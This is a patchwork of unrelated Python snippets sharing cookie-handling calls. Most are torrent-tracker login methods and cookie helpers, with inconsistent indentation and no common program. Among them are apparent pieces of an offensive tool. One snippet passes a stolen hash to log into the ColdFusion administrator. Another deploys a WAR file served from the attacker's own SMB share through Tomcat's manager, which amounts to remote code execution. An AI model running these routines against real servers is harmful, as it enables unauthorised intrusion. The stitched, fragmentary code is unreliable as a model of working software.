def login(self):
        """Login method used for logging in before doing search and torrent downloads."""
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        if 'pass' in dict_from_cookiejar(self.session.cookies):
            return True

        login_html = self.session.get(self.urls['login'])
        with BS4Parser(login_html.text, 'html5lib') as html:
            token = html.find('input', attrs={'name': '_token'}).get('value')

        login_params = {
            '_token': token,
            'email_username': self.username,
            'password': self.password,
            'remember': 1,
            'submit': 'Login',
        }

        response = self.session.post(self.urls['login'], data=login_params)
        if not response or not response.text:
            log.warning('Unable to connect to provider')
            return False

        if 'These credentials do not match our records.' in response.text:
            log.warning('Invalid username or password. Check your settings')
            return False

        return True

    def _getBasicURI(self, uri, values=None):
        '''
        Perform a GET/POST to a URI
        '''

        # POST if data is present, otherwise GET.
        if values is None:
            if self.debug:
                print('GET on: ', self._baseurl+uri)
                print(dict_from_cookiejar(self.opener.cookies))
            response = self.opener.get(self._baseurl+uri)
        else:
            if self.debug:
                print('POST on: ', self._baseurl+uri)
                print(dict_from_cookiejar(self.opener.cookies))
            response = self.opener.post(self._baseurl+uri, data=values)

        if self.debug:
            print('Final URL:', response.url)
            print(dict_from_cookiejar(self.opener.cookies))

        # Save the cookies.
        with open(self._cookiefile, 'wb') as h:
            pickle.dump(dict_from_cookiejar(self.opener.cookies), h)

        # Return the response object.
        return response

    def login(self):
        """Login method used for logging in before doing a search and torrent downloads."""
        cookie_dict = dict_from_cookiejar(self.session.cookies)
        if cookie_dict.get('session'):
            return True

        if self.cookies:
            add_dict_to_cookiejar(self.session.cookies, dict(x.rsplit('=', 1) for x in self.cookies.split(';')))

        cookie_dict = dict_from_cookiejar(self.session.cookies)
        if cookie_dict.get('session'):
            return True

        login_params = {
            'submit': 'Login',
            'username': self.username,
            'password': self.password,
            'keeplogged': 1,
        }

        response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
        if not response:
            logger.log(u"Unable to connect to provider", logger.WARNING)
            return False

        if re.search('<title>Login :: BJ-Share</title>', response):
            logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
            return False

        return True

 def post(self,
          url,
          headers=None,
          cookies=None,
          timeout=30,
          data={},
          verify=False,
          proxies=None):
     if self.session:
         r = self.session.post(
             url,
             headers=OrderDict(headers),
             cookies=cookies,
             timeout=timeout,
             data=data,
             verify=verify,
             proxies=proxies)
         r.raise_for_status()
         r.encoding = 'utf-8'
         return r.text, r.headers, dict_from_cookiejar(r.cookies), r.history
     else:
         r = requests.post(
             url,
             headers=OrderDict(headers),
             cookies=cookies,
             timeout=timeout,
             data=data,
             verify=verify,
             proxies=proxies)
         r.raise_for_status()
         r.encoding = 'utf-8'
         return r.text, r.headers, dict_from_cookiejar(r.cookies), r.history

    def login(self):
        if dict_from_cookiejar(self.session.cookies).get('uid') and dict_from_cookiejar(self.session.cookies).get('pass'):
            return True

        if self.cookies:
            self.add_cookies_from_ui()

            login_params = {
                'username': self.username,
                'password': self.password,
                'submit.x': 0,
                'submit.y': 0,
            }

            response = self.get_url(self.urls['login'], post_data=login_params, returns='response')
            if response.status_code != 200:
                logger.log('Unable to connect to provider', logger.WARNING)
                return False

            if re.search('You tried too often', response.text):
                logger.log('Too many login access attempts', logger.WARNING)
                return False

            if (dict_from_cookiejar(self.session.cookies).get('uid') and 
                    dict_from_cookiejar(self.session.cookies).get('uid') in response.text):
                    return True
            else:
                logger.log('Failed to login, check your cookies', logger.WARNING)
                self.session.cookies.clear()
                return False

def _auth(usr, pswd, url, version):
    """ Authenticate to the remote ColdFusion server; bit of a pain 
    """

    if version in ['5.0']:
        data = {'PasswordProvided_required':'You+must+provide+a+password.',
                'PasswordProvided' : pswd,
                'Submit' : 'Password'
        }

    elif version in ['6.0', '6.1']:
        data = {
            'cfadminPassword' : pswd,
            'requestedURL' : '/CFIDE/administrator/index.cfm',
            'submit' : 'Login'
        }

    elif version in ['7.0', '8.0', '9.0']:
        salt = _salt(url) 
        hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
        data = {"cfadminPassword" : hsh,
                "requestedURL" : "/CFIDE/administrator/enter.cfm?",
                "cfadminUserId" : usr,
                "salt" : salt,
                "submit" : "Login"
               }

    elif version in ['10.0', '11.0']:
        
        hsh = sha1(pswd).hexdigest().upper()
        data = {'cfadminPassword' : hsh,
                'requestedURL' : '/CFIDE/administrator/enter.cfm?',
                'cfadminUserId' : usr,
                'submit' : 'Login'
               }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200:

            utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
            if version in ['5.0']:
                return (dict_from_cookiejar(res.cookies), None)
            elif len(res.history) > 0:
                return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
        return (None, None)

    def login(self):
        cookie_dict = dict_from_cookiejar(self.cookie_jar)
        if cookie_dict.get('uid') and cookie_dict.get('pass'):
            return True

        if not self.add_cookies_from_ui():
            return False

        login_params = {'username': self.username, 'password': self.password, 'login': 'submit'}

        response = sickrage.srCore.srWebSession.post(self.urls['login'], data=login_params, timeout=30)
        if not response.ok:
            sickrage.srCore.srLogger.warning("[{}]: Unable to connect to provider".format(self.name))
            return False

        # Invalid username and password combination
        if re.search('Invalid username and password combination', response.text):
            sickrage.srCore.srLogger.warning(u"Invalid username or password. Check your settings")
            return False

        # You tried too often, please try again after 2 hours!
        if re.search('You tried too often', response.text):
            sickrage.srCore.srLogger.warning(u"You tried too often, please try again after 2 hours! Disable IPTorrents for at least 2 hours")
            return False

        # Captcha!
        if re.search('Captcha verification failed.', response.text):
            sickrage.srCore.srLogger.warning(u"Stupid captcha")
            return False

        return True

	def __init__(self, basename='edapi', cookiefile=None):
		# Build common file names from basename.
		self._basename = basename
		if cookiefile:
			self._cookiefile = cookiefile
		else:
			self._cookiefile = self._basename + '.cookies'

		self._envfile = self._basename + '.vars'

		# Setup the HTTP session.
		self.opener = requests.Session()

		self.opener.headers = {
			'User-Agent': self._agent
		}

		# Read/create the cookie jar.
		if os.path.exists(self._cookiefile):
			try:
				with open(self._cookiefile, 'rb') as h:
					self.opener.cookies = cookiejar_from_dict(pickle.load(h))
			except:
				print('Cookie files exists, but is unreadable.')
		else:
			with open(self._cookiefile, 'wb') as h:
				pickle.dump(dict_from_cookiejar(self.opener.cookies), h)

		# Grab the commander profile
		self.response = self._getURI('profile')

    def login(self):
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        login_params = {
            'username': self.username,
            'password': self.password,
            'submit.x': 0,
            'submit.y': 0
        }

        response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
        if not response:
            logger.log('Unable to connect to provider', logger.WARNING)
            return False

        if re.search('Password not correct', response):
            logger.log('Your login is incorrect', logger.WARNING)
            return False

        if re.search('You tried too often', response):
            logger.log('Too many login access attempts', logger.WARNING)
            return False

        return True

    def login(self):
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        login_params = {'username': self.username,
                        'password': self.password,
                        'login': 'submit'}

        self.get_url(self.urls['login'], returns='text')
        response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
        if not response:
            logger.log(u"Unable to connect to provider", logger.WARNING)
            return False

        # Invalid username and password combination
        if re.search('Invalid username and password combination', response):
            logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
            return False

        # You tried too often, please try again after 2 hours!
        if re.search('You tried too often', response):
            logger.log(u"You tried too often, please try again after 2 hours! Disable IPTorrents for at least 2 hours", logger.WARNING)
            return False

        return True

    def login(self):
        if any(dict_from_cookiejar(sickrage.app.wsession.cookies).values()):
            return True

        if self.token is not None:
            if time.time() < (self.tokenLastUpdate + 30 * 60):
                return True

        login_params = {'username': self.username,
                        'password': self.password}

        try:
            response = sickrage.app.wsession.post(self.urls['login'], data=login_params, timeout=30,
                                                         auth=T411Auth(self.token)).json()
        except Exception:
            sickrage.app.log.warning("Unable to connect to provider".format(self.name))
            return False

        if 'token' in response:
            self.token = response['token']
            self.tokenLastUpdate = time.time()
            self.uid = response['uid'].encode('ascii', 'ignore')
            return True
        else:
            sickrage.app.log.warning("Token not found in authentication response")
            return False

    def login(self):
        """Login method used for logging in before doing search and torrent downloads."""
        cookies = dict_from_cookiejar(self.session.cookies)
        if any(cookies.values()) and cookies.get('uid'):
            return True

        login_params = {
            'username': self.username,
            'password': self.password,
        }

        response = self.session.post(self.urls['login'], data=login_params)

        if not response or not response.text:
            log.warning('Unable to connect to provider')
            return False

        if response.text == 'OK':
            return True
        elif response.text == 'Banned':
            log.warning('User {0} is banned from HeBits', self.username)
            return False
        elif response.text == 'MaxAttempts':
            log.warning('Max number of login attempts exceeded - your IP is blocked')
            return False
        else:
            log.warning('Invalid username or password. Check your settings')
            return False

    def login(self):
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        login_params = {
            'username': self.username,
            'password': self.password,
            'take_login': '1'
        }

        response = self.get_url(self.urls['login'], post_data=login_params, returns='text')

        if not response:
            check_login = self.get_url(self.urls['base_url'], returns='text')
            if re.search('account-logout.php', check_login):
                return True
            else:
                logger.log(u"Unable to connect to provider", logger.WARNING)
                return False

        if re.search('account-login.php', response):
            logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
            return False

        return True

def attemptPTH(url, usr_auth):
    """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain
    the remote server's hash and pass it.            
    """            
    
    utility.Msg("Attempting to pass the hash..", LOG.DEBUG)
    
    usr = None
    pwhsh = None
    if ':' in usr_auth:
        (usr, pwhsh) = usr_auth.split(':')
    else:
        (usr, pwhsh) = "admin", usr_auth

    salt = _salt(url) 
    hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
    data = {"cfadminPassword" : hsh,
            "requestedURL" : "/CFIDE/administrator/enter.cfm?",
            "cfadminUserId" : usr, 
            "salt" : salt,
            "submit" : "Login"
           }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)
        
    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)

    def login(self):
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        login_params = {
            'username': self.username,
            'password': self.password,
        }

        # Yay lets add another request to the process since they are unreasonable.
        response = self.get_url(self.url, returns='text')
        with BS4Parser(response, 'html5lib') as html:
            form = html.find('form', id='loginform')
            if form:
                self.urls['login'] = urljoin(self.url, form['action'])

        response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
        if not response:
            logger.log("Unable to connect to provider", logger.WARNING)
            return False

        if re.search('Incorrect username or Password. Please try again.', response):
            logger.log("Invalid username or password. Check your settings", logger.WARNING)
            return False

        return True

    def login(self):
        """Login method used for logging in before doing search and torrent downloads."""
        cookies = dict_from_cookiejar(self.session.cookies)
        if any(cookies.values()) and all([cookies.get('XTZ_USERNAME'), cookies.get('XTZ_PASSWORD'),
                                          cookies.get('XTZUID')]):
            return True

        login_params = {
            'username': self.username,
            'password': self.password,
            'form': 'login',
            'rememberme[]': 1,
        }

        request = self.session.get(self.urls['login'])
        if not hasattr(request, 'cookies'):
            log.warning('Unable to retrieve the required cookies')
            return False

        response = self.session.post(self.urls['login'], data=login_params, cookies=request.cookies)

        if not response or not response.text:
            log.warning('Unable to connect to provider')
            return False

        if re.search(' Login', response.text):
            log.warning('Invalid username or password. Check your settings')
            return False

        return True

 def __init__(self, login, password, cookies=None, db_session=None):
     if cookies is None:
         log.debug('rutracker cookie not found. Requesting new one')
         payload_ = {'login_username': login,
                     'login_password': password, 'login': 'Вход'}
         auth_response = post(
             "http://login.rutracker.org/forum/login.php", data=payload_, follow_redirects=True,
             cookies=cookiejar_from_dict({'spylog_test': '1'}))
         if len(auth_response.cookies) == 0 or auth_response.cookies is None:
             log.fatal('unable to obtain cookies from rutracker')
             raise PluginError('unable to obtain cookies from rutracker')
         self.cookies_ = auth_response.cookies
         if db_session:
             db_session.add(
                 RutrackerAccount(
                     login=login, cookies=dict_from_cookiejar(
                         self.cookies_),
                     expiry_time=datetime.now() + timedelta(days=1)))
             db_session.commit()
         else:
             raise ValueError(
                 'db_session can not be None if cookies is None')
     else:
         log.debug('Using previously saved cookie')
         self.cookies_ = cookies

    def login(self):
        if any(dict_from_cookiejar(self.session.cookies).values()):
            return True

        login_params = {
            'id': self.username,
            'pass': self.password,
        }

        response = self.get_url(self.urls['login'], post_data=login_params, returns='response')

        # The login is now an AJAX call (401 : Bad credentials, 200 : Logged in, other : server failure)
        if not response or response.status_code != 200:
            logger.log('Unable to connect to provider', logger.WARNING)
            return False
        else:
            # It seems we are logged, let's verify that !
            response = self.get_url(self.url, returns='response')

            if response.status_code != 200:
                logger.log('Unable to connect to provider', logger.WARNING)
                return False
            if 'logout' not in response.text:
                logger.log('Invalid username or password. Check your settings', logger.WARNING)
                return False

        return True

def load_from_file(fname):
    try:
        with open(fname) as infile:
            jar = pickle.load(infile)
            if any([c.is_expired() for c in jar]):
                return None
            return dict_from_cookiejar(jar)
    except Exception, e:
        return None

    def runLatter(self, fingerengine, fingerprint, smb_thread):
        """
        """

        base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
        uri = "/manager/html/deploy"
        data = OrderedDict([
                    ("deployPath", "/asdf"),
                    ("deployConfig", ""),
                    ("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
                   ])

        cookies = None
        nonce = None

        # probe for auth
        response = utility.requests_get(base + '/manager/html')
        if response.status_code == 401:
            
            utility.Msg("Host %s:%s requires auth, checking.." % 
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_get(base + '/manager/html', 
                                                cookies=cookies[0],
                                                auth=cookies[1])

                # get nonce
                nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
                if len(nonce) > 0:
                    nonce = nonce[0]
               
                # set new jsessionid
                cookies = (dict_from_cookiejar(response.cookies), cookies[1])
            else:
                utility.Msg("Could not get auth for %s:%s" % 
                                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
                return

        if response.status_code == 200:

            try:
                # all setup, now invoke
                response = utility.requests_post(base + uri + \
                                        '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
                                        data = data, cookies=cookies[0],
                                        auth=cookies[1])
            except:
                # timeout
                pass

            while smb_thread.is_alive():
                # spin...
                sleep(1)